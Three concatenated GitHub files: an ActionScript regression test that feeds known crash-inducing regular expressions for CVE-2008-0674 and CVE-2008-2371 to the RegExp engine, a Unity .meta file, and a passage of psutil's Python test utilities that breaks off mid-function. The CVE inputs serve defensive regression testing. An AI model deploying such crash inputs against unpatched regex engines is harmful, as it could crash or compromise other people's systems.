var utf8RegExp:String = "[^ABCDEFGHIJKLMNOPQRSTUVWXYZÀÃÂÃÄÅÆÇÈÉÊËÌÃÃŽÃÃÑÒÓÔÕÖØÙÚÛÜÃÞĀĂĄĆĈĊČĎÄÄ’Ä”Ä–Ä˜ÄšÄœÄžÄ Ä¢Ä¤Ä¦Ä¨ÄªÄ¬Ä®Ä°Ä²Ä´Ä¶Ä¹Ä»Ä½Ä¿ÅŃŅŇŊŌŎÅÅ’Å”Å–Å˜ÅšÅœÅžÅ Å¢Å¤Å¦Å¨ÅªÅ¬Å®Å°Å²Å´Å¶Å¸Å¹Å»Å½ÆÆ‚Æ„Æ†Æ‡Æ‰ÆŠÆ‹ÆŽÆÆÆ‘Æ“Æ”Æ–Æ—Æ˜ÆœÆÆŸÆ ƢƤƦƧƩƬƮƯƱƲƳƵƷƸƼDŽLJNJÇÇÇ‘Ç“Ç•Ç—Ç™Ç›ÇžÇ Ç¢Ç¤Ç¦Ç¨ÇªÇ¬Ç®Ç±Ç´Ç¶Ç·Ç¸ÇºÇ¼Ç¾È€È‚È„È†ÈˆÈŠÈŒÈŽÈÈ’È”È–È˜ÈšÈœÈžÈ È¢È¤È¦È¨ÈªÈ¬È®È°È²ÈºÈ»È½È¾ÉΆΈΉΊΌΎÎΑΒΓΔΕΖΗΘΙΚΛΜÎÎžÎŸÎ Î¡Î£Î¤Î¥Î¦Î§Î¨Î©ÎªÎ«Ï’Ï“Ï”Ï˜ÏšÏœÏžÏ Ï¢Ï¤Ï¦Ï¨ÏªÏ¬Ï®Ï´Ï·Ï¹ÏºÏ½Ï¾Ï¿Ð€ÐЂЃЄЅІЇЈЉЊЋЌÐÐŽÐÐБВГДЕЖЗИЙКЛМÐОПРСТУФХЦЧШЩЪЫЬÐÐ®Ð¯Ñ Ñ¢Ñ¤Ñ¦Ñ¨ÑªÑ¬Ñ®Ñ°Ñ²Ñ´Ñ¶Ñ¸ÑºÑ¼Ñ¾Ò€ÒŠÒŒÒŽÒÒ’Ò”Ò–Ò˜ÒšÒœÒžÒ Ò¢Ò¤Ò¦Ò¨ÒªÒ¬Ò®Ò°Ò²Ò´Ò¶Ò¸ÒºÒ¼Ò¾Ó€ÓÓƒÓ…Ó‡Ó‰Ó‹ÓÓÓ’Ó”Ó–Ó˜ÓšÓœÓžÓ Ó¢Ó¤Ó¦Ó¨ÓªÓ¬Ó®Ó°Ó²Ó´Ó¶Ó¸Ô€Ô‚Ô„Ô†ÔˆÔŠÔŒÔŽÔ±Ô²Ô³Ô´ÔµÔ¶Ô·Ô¸Ô¹ÔºÔ»Ô¼Ô½Ô¾Ô¿Õ€ÕÕ‚ÕƒÕ„Õ…Õ†Õ‡ÕˆÕ‰ÕŠÕ‹ÕŒÕÕŽÕÕՑՒՓՔՕՖႠႡႢႣႤႥႦႧႨႩႪႫႬá‚ႮႯႰႱႲႳႴႵႶႷႸႹႺႻႼႽႾႿჀáƒáƒ‚ჃჄჅḀḂḄḆḈḊḌḎá¸á¸’ḔḖḘḚḜḞḠḢḤḦḨḪḬḮḰḲḴḶḸḺḼḾṀṂṄṆṈṊṌṎá¹á¹’ṔṖṘṚṜṞṠṢṤṦṨṪṬṮṰṲṴṶṸṺṼṾẀẂẄẆẈẊẌẎáºáº’ẔẠẢẤẦẨẪẬẮẰẲẴẶẸẺẼẾỀỂỄỆỈỊỌỎá»á»’ỔỖỘỚỜỞỠỢỤỦỨỪỬỮỰỲỴỶỸἈἉἊἋἌá¼á¼Žá¼á¼˜á¼™á¼šá¼›á¼œá¼á¼¨á¼©á¼ªá¼«á¼¬á¼á¼®á¼¯á¼¸á¼¹á¼ºá¼»á¼¼á¼½á¼¾á¼¿á½ˆá½‰á½Šá½‹á½Œá½á½™á½›á½á½Ÿá½¨á½©á½ªá½«á½¬á½á½®á½¯á¾¸á¾¹á¾ºá¾»á¿ˆá¿‰á¿Šá¿‹á¿˜á¿™á¿šá¿›á¿¨á¿©á¿ªá¿«á¿¬á¿¸á¿¹á¿ºá¿»abcdefghijklmnopqrstuvwxyzªµºßà áâãäåæçèéêëìÃîïðñòóôõöøùúûüýþÿÄăąćĉċÄÄđēĕėęěÄğġģĥħĩīÄįıijĵķĸĺļľŀłńņňʼnŋÅÅőœŕŗřśÅşšţťŧũūÅÅ¯Å±Å³ÅµÅ·ÅºÅ¼Å¾Å¿Æ€ÆƒÆ…ÆˆÆŒÆÆ’Æ•Æ™ÆšÆ›ÆžÆ¡Æ£Æ¥Æ¨ÆªÆ«ÆÆ°Æ´Æ¶Æ¹ÆºÆ½Æ¾Æ¿Ç†Ç‰ÇŒÇŽÇǒǔǖǘǚǜÇǟǡǣǥǧǩǫÇǯǰdzǵǹǻǽǿÈȃȅȇȉȋÈÈȑȓȕȗșțÈȟȡȣȥȧȩȫÈȯȱȳȴȵȶȷȸȹȼȿɀÉɑɒɓɔɕɖɗɘəɚɛɜÉÉžÉŸÉ É¡É¢É£É¤É¥É¦É§É¨É©ÉªÉ«É¬ÉɮɯɰɱɲɳɴɵɶɷɸɹɺɻɼɽɾɿʀÊʂʃʄʅʆʇʈʉʊʋʌÊÊŽÊÊʑʒʓʔʕʖʗʘʙʚʛʜÊÊžÊŸÊ Ê¡Ê¢Ê£Ê¤Ê¥Ê¦Ê§Ê¨Ê©ÊªÊ«Ê¬ÊʮʯÎάÎήίΰαβγδεζηθικλμνξοπÏςστυφχψωϊϋόÏÏŽÏϑϕϖϗϙϛÏϟϡϣϥϧϩϫÏϯϰϱϲϳϵϸϻϼабвгдежзийклмнопрÑтуфхцчшщъыьÑÑŽÑÑёђѓєѕіїјљњћќÑўџѡѣѥѧѩѫÑѯѱѳѵѷѹѻѽѿÒÒ‹ÒÒÒ‘Ò“Ò•Ò—Ò™Ò›ÒÒŸÒ¡Ò£Ò¥Ò§Ò©Ò«ÒүұҳҵҷҹһҽҿӂӄӆӈӊӌӎӑӓӕӗәӛÓÓŸÓ¡Ó£Ó¥Ó§Ó©Ó«ÓÓ¯Ó±Ó³ÓµÓ·Ó¹ÔÔƒÔ…Ô‡Ô‰Ô‹ÔÔÕ¡Õ¢Õ£Õ¤Õ¥Õ¦Õ§Õ¨Õ©ÕªÕ«Õ¬ÕÕ®Õ¯Õ°Õ±Õ²Õ³Õ´ÕµÕ¶Õ·Õ¸Õ¹ÕºÕ»Õ¼Õ½Õ¾Õ¿Ö€Öւփքօֆևᴀá´á´‚ᴃᴄᴅᴆᴇᴈᴉᴊᴋᴌá´á´Žá´á´á´‘ᴒᴓᴔᴕᴖᴗᴘᴙᴚᴛᴜá´á´žá´Ÿá´ ᴡᴢᴣᴤᴥᴦᴧᴨᴩᴪᴫᵢᵣᵤᵥᵦᵧᵨᵩᵪᵫᵬáµáµ®áµ¯áµ°áµ±áµ²áµ³áµ´áµµáµ¶áµ·áµ¹áµºáµ»áµ¼áµ½áµ¾áµ¿á¶€á¶á¶‚ᶃᶄᶅᶆᶇᶈᶉᶊᶋᶌá¶á¶Žá¶á¶á¶‘ᶒᶓᶔᶕᶖᶗᶘᶙᶚá¸á¸ƒá¸…ḇḉḋá¸á¸á¸‘ḓḕḗḙḛá¸á¸Ÿá¸¡á¸£á¸¥á¸§á¸©á¸«á¸á¸¯á¸±á¸³á¸µá¸·á¸¹á¸»á¸½á¸¿á¹á¹ƒá¹…ṇṉṋá¹á¹á¹‘ṓṕṗṙṛá¹á¹Ÿá¹¡á¹£á¹¥á¹§á¹©á¹«á¹á¹¯á¹±á¹³á¹µá¹·á¹¹á¹»á¹½á¹¿áºáºƒáº…ẇẉẋáºáºáº‘ẓẕẖẗẘẙẚẛạảấầẩẫáºáº¯áº±áº³áºµáº·áº¹áº»áº½áº¿á»á»ƒá»…ệỉịá»á»á»‘ồổỗộớá»á»Ÿá»¡á»£á»¥á»§á»©á»«á»á»¯á»±á»³á»µá»·á»¹á¼€á¼á¼‚ἃἄἅἆἇá¼á¼‘ἒἓἔἕἠἡἢἣἤἥἦἧἰἱἲἳἴἵἶἷὀá½á½‚ὃὄὅá½á½‘ὒὓὔὕὖὗὠὡὢὣὤὥὦὧὰάὲέὴήὶίὸόὺύὼώᾀá¾á¾‚ᾃᾄᾅᾆᾇá¾á¾‘ᾒᾓᾔᾕᾖᾗᾠᾡᾢᾣᾤᾥᾦᾧᾰᾱᾲᾳᾴᾶᾷιῂῃῄῆῇá¿á¿‘ῒΐῖῗῠῡῢΰῤῥῦῧῲῳῴῶῷâ²â²ƒâ²…ⲇⲉⲋâ²â²â²‘ⲓⲕⲗⲙⲛâ²â²Ÿâ²¡â²£â²¥â²§â²©â²«â²â²¯â²±â²³â²µâ²·â²¹â²»â²½â²¿â³â³ƒâ³…ⳇⳉⳋâ³â³â³‘ⳓⳕⳗⳙⳛâ³â³Ÿâ³¡â³£â³¤â´€â´â´‚ⴃⴄⴅⴆⴇⴈⴉⴊⴋⴌâ´â´Žâ´â´â´‘ⴒⴓⴔⴕⴖⴗⴘⴙⴚⴛⴜâ´â´žâ´Ÿâ´ ⴡⴢⴣⴤⴥffï¬ï¬‚ffifflſtstﬓﬔﬕﬖﬗ\d-_^]";
var evilRegExp:RegExp = new RegExp(utf8RegExp);
evilRegExp.exec("Hello World");
// If testcase runs then we are good, previously this would crash
Assert.expectEq(
"CVE-2008-0674",
true,
true
);
// CVE-2008-2371 begins with an option and contains multiple branches.
var optionsRegExp:String = "(?i)[\xc3\xa9\xc3\xbd]|[\xc3\xa9\xc3\xbdA]";
var evilRegExp2:RegExp = new RegExp(optionsRegExp);
evilRegExp2.exec("Hello World");
// If testcase runs then we are good, previously this would crash
Assert.expectEq(
"CVE-2008-2371",
true,
true
);
| {
"pile_set_name": "Github"
} |
fileFormatVersion: 2
guid: 53b039c6c4008c7459056e31318bb5bc
timeCreated: 1432701084
licenseType: Pro
NativeFormatImporter:
userData:
assetBundleName:
assetBundleVariant:
| {
"pile_set_name": "Github"
} |
# -*- coding: utf-8 -*-
# Copyright (c) 2009, Giampaolo Rodola'. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""
Test utilities.
"""
from __future__ import print_function
import atexit
import contextlib
import ctypes
import errno
import functools
import os
import random
import re
import select
import shutil
import socket
import stat
import subprocess
import sys
import tempfile
import textwrap
import threading
import time
import traceback
import warnings
from socket import AF_INET
from socket import AF_INET6
from socket import SOCK_STREAM
import psutil
from psutil import AIX
from psutil import MACOS
from psutil import POSIX
from psutil import SUNOS
from psutil import WINDOWS
from psutil._common import supports_ipv6
from psutil._compat import ChildProcessError
from psutil._compat import FileExistsError
from psutil._compat import FileNotFoundError
from psutil._compat import PY3
from psutil._compat import u
from psutil._compat import unicode
from psutil._compat import which
if sys.version_info < (2, 7):
import unittest2 as unittest # requires "pip install unittest2"
else:
import unittest
try:
from unittest import mock # py3
except ImportError:
with warnings.catch_warnings():
warnings.simplefilter("ignore")
import mock # NOQA - requires "pip install mock"
if sys.version_info >= (3, 4):
import enum
else:
enum = None
__all__ = [
# constants
'APPVEYOR', 'DEVNULL', 'GLOBAL_TIMEOUT', 'MEMORY_TOLERANCE', 'NO_RETRIES',
'PYPY', 'PYTHON_EXE', 'ROOT_DIR', 'SCRIPTS_DIR', 'TESTFILE_PREFIX',
'TESTFN', 'TESTFN_UNICODE', 'TOX', 'TRAVIS', 'CIRRUS', 'CI_TESTING',
'VALID_PROC_STATUSES',
"HAS_CPU_AFFINITY", "HAS_CPU_FREQ", "HAS_ENVIRON", "HAS_PROC_IO_COUNTERS",
"HAS_IONICE", "HAS_MEMORY_MAPS", "HAS_PROC_CPU_NUM", "HAS_RLIMIT",
"HAS_SENSORS_BATTERY", "HAS_BATTERY", "HAS_SENSORS_FANS",
"HAS_SENSORS_TEMPERATURES", "HAS_MEMORY_FULL_INFO",
# subprocesses
'pyrun', 'reap_children', 'get_test_subprocess', 'create_zombie_proc',
'create_proc_children_pair',
# threads
'ThreadTask'
# test utils
'unittest', 'skip_on_access_denied', 'skip_on_not_implemented',
'retry_on_failure',
# install utils
'install_pip', 'install_test_deps',
# fs utils
'chdir', 'safe_rmpath', 'create_exe', 'decode_path', 'encode_path',
'unique_filename',
# os
'get_winver', 'get_kernel_version',
# sync primitives
'call_until', 'wait_for_pid', 'wait_for_file',
# network
'check_net_address',
'get_free_port', 'unix_socket_path', 'bind_socket', 'bind_unix_socket',
'tcp_socketpair', 'unix_socketpair', 'create_sockets',
# compat
'reload_module', 'import_module_by_path',
# others
'warn', 'copyload_shared_lib', 'is_namedtuple',
]
# ===================================================================
# --- constants
# ===================================================================
# --- platforms
TOX = os.getenv('TOX') or '' in ('1', 'true')
PYPY = '__pypy__' in sys.builtin_module_names
# whether we're running this test suite on a Continuous Integration service
TRAVIS = bool(os.environ.get('TRAVIS'))
APPVEYOR = bool(os.environ.get('APPVEYOR'))
CIRRUS = bool(os.environ.get('CIRRUS'))
CI_TESTING = TRAVIS or APPVEYOR or CIRRUS
# --- configurable defaults
# how many times retry_on_failure() decorator will retry
NO_RETRIES = 10
# bytes tolerance for system-wide memory related tests
MEMORY_TOLERANCE = 500 * 1024 # 500KB
# the timeout used in functions which have to wait
GLOBAL_TIMEOUT = 5
# be more tolerant if we're on travis / appveyor in order to avoid
# false positives
if TRAVIS or APPVEYOR:
NO_RETRIES *= 3
GLOBAL_TIMEOUT *= 3
# --- files
TESTFILE_PREFIX = '$testfn'
if os.name == 'java':
# Jython disallows @ in module names
TESTFILE_PREFIX = '$psutil-test-'
else:
TESTFILE_PREFIX = '@psutil-test-'
TESTFN = os.path.join(os.path.realpath(os.getcwd()), TESTFILE_PREFIX)
# Disambiguate TESTFN for parallel testing, while letting it remain a valid
# module name.
TESTFN = TESTFN + str(os.getpid())
_TESTFN = TESTFN + '-internal'
TESTFN_UNICODE = TESTFN + u("-ƒőő")
ASCII_FS = sys.getfilesystemencoding().lower() in ('ascii', 'us-ascii')
# --- paths
ROOT_DIR = os.path.realpath(
os.path.join(os.path.dirname(__file__), '..', '..'))
SCRIPTS_DIR = os.path.join(ROOT_DIR, 'scripts')
HERE = os.path.realpath(os.path.dirname(__file__))
# --- support
HAS_CONNECTIONS_UNIX = POSIX and not SUNOS
HAS_CPU_AFFINITY = hasattr(psutil.Process, "cpu_affinity")
HAS_CPU_FREQ = hasattr(psutil, "cpu_freq")
HAS_GETLOADAVG = hasattr(psutil, "getloadavg")
HAS_ENVIRON = hasattr(psutil.Process, "environ")
HAS_IONICE = hasattr(psutil.Process, "ionice")
HAS_MEMORY_MAPS = hasattr(psutil.Process, "memory_maps")
HAS_NET_IO_COUNTERS = hasattr(psutil, "net_io_counters")
HAS_PROC_CPU_NUM = hasattr(psutil.Process, "cpu_num")
HAS_PROC_IO_COUNTERS = hasattr(psutil.Process, "io_counters")
HAS_RLIMIT = hasattr(psutil.Process, "rlimit")
HAS_SENSORS_BATTERY = hasattr(psutil, "sensors_battery")
try:
HAS_BATTERY = HAS_SENSORS_BATTERY and bool(psutil.sensors_battery())
except Exception:
HAS_BATTERY = True
HAS_SENSORS_FANS = hasattr(psutil, "sensors_fans")
HAS_SENSORS_TEMPERATURES = hasattr(psutil, "sensors_temperatures")
HAS_THREADS = hasattr(psutil.Process, "threads")
SKIP_SYSCONS = (MACOS or AIX) and os.getuid() != 0
# --- misc
def _get_py_exe():
def attempt(exe):
try:
subprocess.check_call(
[exe, "-V"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
except Exception:
return None
else:
return exe
if MACOS:
exe = \
attempt(sys.executable) or \
attempt(os.path.realpath(sys.executable)) or \
attempt(which("python%s.%s" % sys.version_info[:2])) or \
attempt(psutil.Process().exe())
if not exe:
raise ValueError("can't find python exe real abspath")
return exe
else:
exe = os.path.realpath(sys.executable)
assert os.path.exists(exe), exe
return exe
PYTHON_EXE = _get_py_exe()
DEVNULL = open(os.devnull, 'r+')
VALID_PROC_STATUSES = [getattr(psutil, x) for x in dir(psutil)
if x.startswith('STATUS_')]
AF_UNIX = getattr(socket, "AF_UNIX", object())
_subprocesses_started = set()
_pids_started = set()
_testfiles_created = set()
@atexit.register
def cleanup_test_files():
DEVNULL.close()
for name in os.listdir(u('.')):
if isinstance(name, unicode):
prefix = u(TESTFILE_PREFIX)
else:
prefix = TESTFILE_PREFIX
if name.startswith(prefix):
try:
safe_rmpath(name)
except Exception:
traceback.print_exc()
for path in _testfiles_created:
try:
safe_rmpath(path)
except Exception:
traceback.print_exc()
# this is executed first
@atexit.register
def cleanup_test_procs():
reap_children(recursive=True)
# ===================================================================
# --- threads
# ===================================================================
class ThreadTask(threading.Thread):
"""A thread task which does nothing expect staying alive."""
def __init__(self):
threading.Thread.__init__(self)
self._running = False
self._interval = 0.001
self._flag = threading.Event()
def __repr__(self):
name = self.__class__.__name__
return '<%s running=%s at %#x>' % (name, self._running, id(self))
def __enter__(self):
self.start()
return self
def __exit__(self, *args, **kwargs):
self.stop()
def start(self):
"""Start thread and keep it running until an explicit
stop() request. Polls for shutdown every 'timeout' seconds.
"""
if self._running:
raise ValueError("already started")
threading.Thread.start(self)
self._flag.wait()
def run(self):
self._running = True
self._flag.set()
while self._running:
time.sleep(self._interval)
def stop(self):
"""Stop thread execution and and waits until it is stopped."""
if not self._running:
raise ValueError("already stopped")
self._running = False
self.join()
# ===================================================================
# --- subprocesses
# ===================================================================
def _reap_children_on_err(fun):
@functools.wraps(fun)
def wrapper(*args, **kwargs):
try:
return fun(*args, **kwargs)
except Exception:
reap_children()
raise
return wrapper
@_reap_children_on_err
def get_test_subprocess(cmd=None, **kwds):
"""Creates a python subprocess which does nothing for 60 secs and
return it as subprocess.Popen instance.
If "cmd" is specified that is used instead of python.
By default stdin and stdout are redirected to /dev/null.
It also attemps to make sure the process is in a reasonably
initialized state.
The process is registered for cleanup on reap_children().
"""
kwds.setdefault("stdin", DEVNULL)
kwds.setdefault("stdout", DEVNULL)
kwds.setdefault("cwd", os.getcwd())
kwds.setdefault("env", os.environ)
if WINDOWS:
# Prevents the subprocess to open error dialogs. This will also
# cause stderr to be suppressed, which is suboptimal in order
# to debug broken tests.
CREATE_NO_WINDOW = 0x8000000
kwds.setdefault("creationflags", CREATE_NO_WINDOW)
if cmd is None:
safe_rmpath(_TESTFN)
pyline = "from time import sleep;" \
"open(r'%s', 'w').close();" \
"sleep(60);" % _TESTFN
cmd = [PYTHON_EXE, "-c", pyline]
sproc = subprocess.Popen(cmd, **kwds)
_subprocesses_started.add(sproc)
wait_for_file(_TESTFN, delete=True, empty=True)
else:
sproc = subprocess.Popen(cmd, **kwds)
_subprocesses_started.add(sproc)
wait_for_pid(sproc.pid)
return sproc
@_reap_children_on_err
def create_proc_children_pair():
"""Create a subprocess which creates another one as in:
A (us) -> B (child) -> C (grandchild).
Return a (child, grandchild) tuple.
The 2 processes are fully initialized and will live for 60 secs
and are registered for cleanup on reap_children().
"""
_TESTFN2 = os.path.basename(_TESTFN) + '2' # need to be relative
s = textwrap.dedent("""\
import subprocess, os, sys, time
s = "import os, time;"
s += "f = open('%s', 'w');"
s += "f.write(str(os.getpid()));"
s += "f.close();"
s += "time.sleep(60);"
p = subprocess.Popen([r'%s', '-c', s])
p.wait()
""" % (_TESTFN2, PYTHON_EXE))
# On Windows if we create a subprocess with CREATE_NO_WINDOW flag
# set (which is the default) a "conhost.exe" extra process will be
# spawned as a child. We don't want that.
if WINDOWS:
subp = pyrun(s, creationflags=0)
else:
subp = pyrun(s)
child1 = psutil.Process(subp.pid)
data = wait_for_file(_TESTFN2, delete=False, empty=False)
safe_rmpath(_TESTFN2)
child2_pid = int(data)
_pids_started.add(child2_pid)
child2 = psutil.Process(child2_pid)
return (child1, child2)
def create_zombie_proc():
"""Create a zombie process and return its PID."""
assert psutil.POSIX
unix_file = tempfile.mktemp(prefix=TESTFILE_PREFIX) if MACOS else TESTFN
src = textwrap.dedent("""\
import os, sys, time, socket, contextlib
child_pid = os.fork()
if child_pid > 0:
time.sleep(3000)
else:
# this is the zombie process
s = socket.socket(socket.AF_UNIX)
with contextlib.closing(s):
s.connect('%s')
if sys.version_info < (3, ):
pid = str(os.getpid())
else:
pid = bytes(str(os.getpid()), 'ascii')
s.sendall(pid)
""" % unix_file)
with contextlib.closing(socket.socket(socket.AF_UNIX)) as sock:
sock.settimeout(GLOBAL_TIMEOUT)
sock.bind(unix_file)
sock.listen(5)
pyrun(src)
conn, _ = sock.accept()
try:
select.select([conn.fileno()], [], [], GLOBAL_TIMEOUT)
zpid = int(conn.recv(1024))
_pids_started.add(zpid)
zproc = psutil.Process(zpid)
call_until(lambda: zproc.status(), "ret == psutil.STATUS_ZOMBIE")
return zpid
finally:
conn.close()
@_reap_children_on_err
def pyrun(src, **kwds):
"""Run python 'src' code string in a separate interpreter.
Returns a subprocess.Popen instance.
"""
kwds.setdefault("stdout", None)
kwds.setdefault("stderr", None)
with tempfile.NamedTemporaryFile(
prefix=TESTFILE_PREFIX, mode="wt", delete=False) as f:
_testfiles_created.add(f.name)
f.write(src)
f.flush()
subp = get_test_subprocess([PYTHON_EXE, f.name], **kwds)
wait_for_pid(subp.pid)
return subp
@_reap_children_on_err
def sh(cmd, **kwds):
"""run cmd in a subprocess and return its output.
raises RuntimeError on error.
"""
shell = True if isinstance(cmd, (str, unicode)) else False
# Prevents subprocess to open error dialogs in case of error.
flags = 0x8000000 if WINDOWS and shell else 0
kwds.setdefault("shell", shell)
kwds.setdefault("stdout", subprocess.PIPE)
kwds.setdefault("stderr", subprocess.PIPE)
kwds.setdefault("universal_newlines", True)
kwds.setdefault("creationflags", flags)
p = subprocess.Popen(cmd, **kwds)
_subprocesses_started.add(p)
if PY3:
stdout, stderr = p.communicate(timeout=GLOBAL_TIMEOUT)
else:
stdout, stderr = p.communicate()
if p.returncode != 0:
raise RuntimeError(stderr)
if stderr:
warn(stderr)
if stdout.endswith('\n'):
stdout = stdout[:-1]
return stdout
def reap_children(recursive=False):
"""Terminate and wait() any subprocess started by this test suite
and ensure that no zombies stick around to hog resources and
create problems when looking for refleaks.
If resursive is True it also tries to terminate and wait()
all grandchildren started by this process.
"""
# This is here to make sure wait_procs() behaves properly and
# investigate:
# https://ci.appveyor.com/project/giampaolo/psutil/build/job/
# jiq2cgd6stsbtn60
def assert_gone(pid):
assert not psutil.pid_exists(pid), pid
assert pid not in psutil.pids(), pid
try:
p = psutil.Process(pid)
assert not p.is_running(), pid
except psutil.NoSuchProcess:
pass
else:
assert 0, "pid %s is not gone" % pid
# Get the children here, before terminating the children sub
# processes as we don't want to lose the intermediate reference
# in case of grandchildren.
if recursive:
children = set(psutil.Process().children(recursive=True))
else:
children = set()
# Terminate subprocess.Popen instances "cleanly" by closing their
# fds and wiat()ing for them in order to avoid zombies.
while _subprocesses_started:
subp = _subprocesses_started.pop()
_pids_started.add(subp.pid)
try:
subp.terminate()
except OSError as err:
if WINDOWS and err.winerror == 6: # "invalid handle"
pass
elif err.errno != errno.ESRCH:
raise
if subp.stdout:
subp.stdout.close()
if subp.stderr:
subp.stderr.close()
try:
# Flushing a BufferedWriter may raise an error.
if subp.stdin:
subp.stdin.close()
finally:
# Wait for the process to terminate, to avoid zombies.
try:
subp.wait()
except ChildProcessError:
pass
# Terminate started pids.
while _pids_started:
pid = _pids_started.pop()
try:
p = psutil.Process(pid)
except psutil.NoSuchProcess:
assert_gone(pid)
else:
children.add(p)
# Terminate children.
if children:
for p in children:
try:
p.terminate()
except psutil.NoSuchProcess:
pass
gone, alive = psutil.wait_procs(children, timeout=GLOBAL_TIMEOUT)
for p in alive:
warn("couldn't terminate process %r; attempting kill()" % p)
try:
p.kill()
except psutil.NoSuchProcess:
pass
gone, alive = psutil.wait_procs(alive, timeout=GLOBAL_TIMEOUT)
if alive:
for p in alive:
warn("process %r survived kill()" % p)
for p in children:
assert_gone(p.pid)
# ===================================================================
# --- OS
# ===================================================================
def get_kernel_version():
"""Return a tuple such as (2, 6, 36)."""
if not POSIX:
raise NotImplementedError("not POSIX")
s = ""
uname = os.uname()[2]
for c in uname:
if c.isdigit() or c == '.':
s += c
else:
break
if not s:
raise ValueError("can't parse %r" % uname)
minor = 0
micro = 0
nums = s.split('.')
major = int(nums[0])
if len(nums) >= 2:
minor = int(nums[1])
if len(nums) >= 3:
micro = int(nums[2])
return (major, minor, micro)
def get_winver():
if not WINDOWS:
raise NotImplementedError("not WINDOWS")
wv = sys.getwindowsversion()
if hasattr(wv, 'service_pack_major'): # python >= 2.7
sp = wv.service_pack_major or 0
else:
r = re.search(r"\s\d$", wv[4])
if r:
sp = int(r.group(0))
else:
sp = 0
return (wv[0], wv[1], sp)
# ===================================================================
# --- sync primitives
# ===================================================================
class retry(object):
"""A retry decorator."""
def __init__(self,
exception=Exception,
timeout=None,
retries=None,
interval=0.001,
logfun=None,
):
if timeout and retries:
raise ValueError("timeout and retries args are mutually exclusive")
self.exception = exception
self.timeout = timeout
self.retries = retries
self.interval = interval
self.logfun = logfun
def __iter__(self):
if self.timeout:
stop_at = time.time() + self.timeout
while time.time() < stop_at:
yield
elif self.retries:
for _ in range(self.retries):
yield
else:
while True:
yield
def sleep(self):
if self.interval is not None:
time.sleep(self.interval)
def __call__(self, fun):
@functools.wraps(fun)
def wrapper(*args, **kwargs):
exc = None
for _ in self:
try:
return fun(*args, **kwargs)
except self.exception as _: # NOQA
exc = _
if self.logfun is not None:
self.logfun(exc)
self.sleep()
continue
if PY3:
raise exc
else:
raise
# This way the user of the decorated function can change config
# parameters.
wrapper.decorator = self
return wrapper
@retry(exception=psutil.NoSuchProcess, logfun=None, timeout=GLOBAL_TIMEOUT,
interval=0.001)
def wait_for_pid(pid):
"""Wait for pid to show up in the process list then return.
Used in the test suite to give time the sub process to initialize.
"""
psutil.Process(pid)
if WINDOWS:
# give it some more time to allow better initialization
time.sleep(0.01)
@retry(exception=(EnvironmentError, AssertionError), logfun=None,
timeout=GLOBAL_TIMEOUT, interval=0.001)
def wait_for_file(fname, delete=True, empty=False):
"""Wait for a file to be written on disk with some content."""
with open(fname, "rb") as f:
data = f.read()
if not empty:
assert data
if delete:
safe_rmpath(fname)
return data
@retry(exception=AssertionError, logfun=None, timeout=GLOBAL_TIMEOUT,
interval=0.001)
def call_until(fun, expr):
"""Keep calling function for timeout secs and exit if eval()
expression is True.
"""
ret = fun()
assert eval(expr)
return ret
# ===================================================================
# --- fs
# ===================================================================
def safe_rmpath(path):
"Convenience function for removing temporary test files or dirs"
def retry_fun(fun):
# On Windows it could happen that the file or directory has
# open handles or references preventing the delete operation
# to succeed immediately, so we retry for a while. See:
# https://bugs.python.org/issue33240
stop_at = time.time() + 1
while time.time() < stop_at:
try:
return fun()
except FileNotFoundError:
pass
except WindowsError as _:
err = _
warn("ignoring %s" % (str(err)))
time.sleep(0.01)
raise err
try:
st = os.stat(path)
if stat.S_ISDIR(st.st_mode):
fun = functools.partial(shutil.rmtree, path)
else:
fun = functools.partial(os.remove, path)
if POSIX:
fun()
else:
retry_fun(fun)
except FileNotFoundError:
pass
def safe_mkdir(dir):
"Convenience function for creating a directory"
try:
os.mkdir(dir)
except FileExistsError:
pass
@contextlib.contextmanager
def chdir(dirname):
"Context manager which temporarily changes the current directory."
curdir = os.getcwd()
try:
os.chdir(dirname)
yield
finally:
os.chdir(curdir)
def create_exe(outpath, c_code=None):
"""Creates an executable file in the given location."""
assert not os.path.exists(outpath), outpath
if c_code:
if not which("gcc"):
raise ValueError("gcc is not installed")
if isinstance(c_code, bool): # c_code is True
c_code = textwrap.dedent(
"""
#include <unistd.h>
int main() {
pause();
return 1;
}
""")
assert isinstance(c_code, str), c_code
with tempfile.NamedTemporaryFile(
suffix='.c', delete=False, mode='wt') as f:
f.write(c_code)
try:
subprocess.check_call(["gcc", f.name, "-o", outpath])
finally:
safe_rmpath(f.name)
else:
# copy python executable
shutil.copyfile(PYTHON_EXE, outpath)
if POSIX:
st = os.stat(outpath)
os.chmod(outpath, st.st_mode | stat.S_IEXEC)
def unique_filename(prefix=TESTFILE_PREFIX, suffix=""):
return tempfile.mktemp(prefix=prefix, suffix=suffix)
# ===================================================================
# --- testing
# ===================================================================
class TestCase(unittest.TestCase):
# Print a full path representation of the single unit tests
# being run.
def __str__(self):
fqmod = self.__class__.__module__
if not fqmod.startswith('psutil.'):
fqmod = 'psutil.tests.' + fqmod
return "%s.%s.%s" % (
fqmod, self.__class__.__name__, self._testMethodName)
# assertRaisesRegexp renamed to assertRaisesRegex in 3.3;
# add support for the new name.
if not hasattr(unittest.TestCase, 'assertRaisesRegex'):
assertRaisesRegex = unittest.TestCase.assertRaisesRegexp
# override default unittest.TestCase
unittest.TestCase = TestCase
def retry_on_failure(retries=NO_RETRIES):
"""Decorator which runs a test function and retries N times before
actually failing.
"""
def logfun(exc):
print("%r, retrying" % exc, file=sys.stderr)
return retry(exception=AssertionError, timeout=None, retries=retries,
logfun=logfun)
def skip_on_access_denied(only_if=None):
"""Decorator to Ignore AccessDenied exceptions."""
def decorator(fun):
@functools.wraps(fun)
def wrapper(*args, **kwargs):
try:
return fun(*args, **kwargs)
except psutil.AccessDenied:
if only_if is not None:
if not only_if:
raise
raise unittest.SkipTest("raises AccessDenied")
return wrapper
return decorator
def skip_on_not_implemented(only_if=None):
"""Decorator to Ignore NotImplementedError exceptions."""
def decorator(fun):
@functools.wraps(fun)
def wrapper(*args, **kwargs):
try:
return fun(*args, **kwargs)
except NotImplementedError:
if only_if is not None:
if not only_if:
raise
msg = "%r was skipped because it raised NotImplementedError" \
% fun.__name__
raise unittest.SkipTest(msg)
return wrapper
return decorator
# ===================================================================
# --- network
# ===================================================================
def get_free_port(host='127.0.0.1'):
"""Return an unused TCP port."""
with contextlib.closing(socket.socket()) as sock:
sock.bind((host, 0))
return sock.getsockname()[1]
@contextlib.contextmanager
def unix_socket_path(suffix=""):
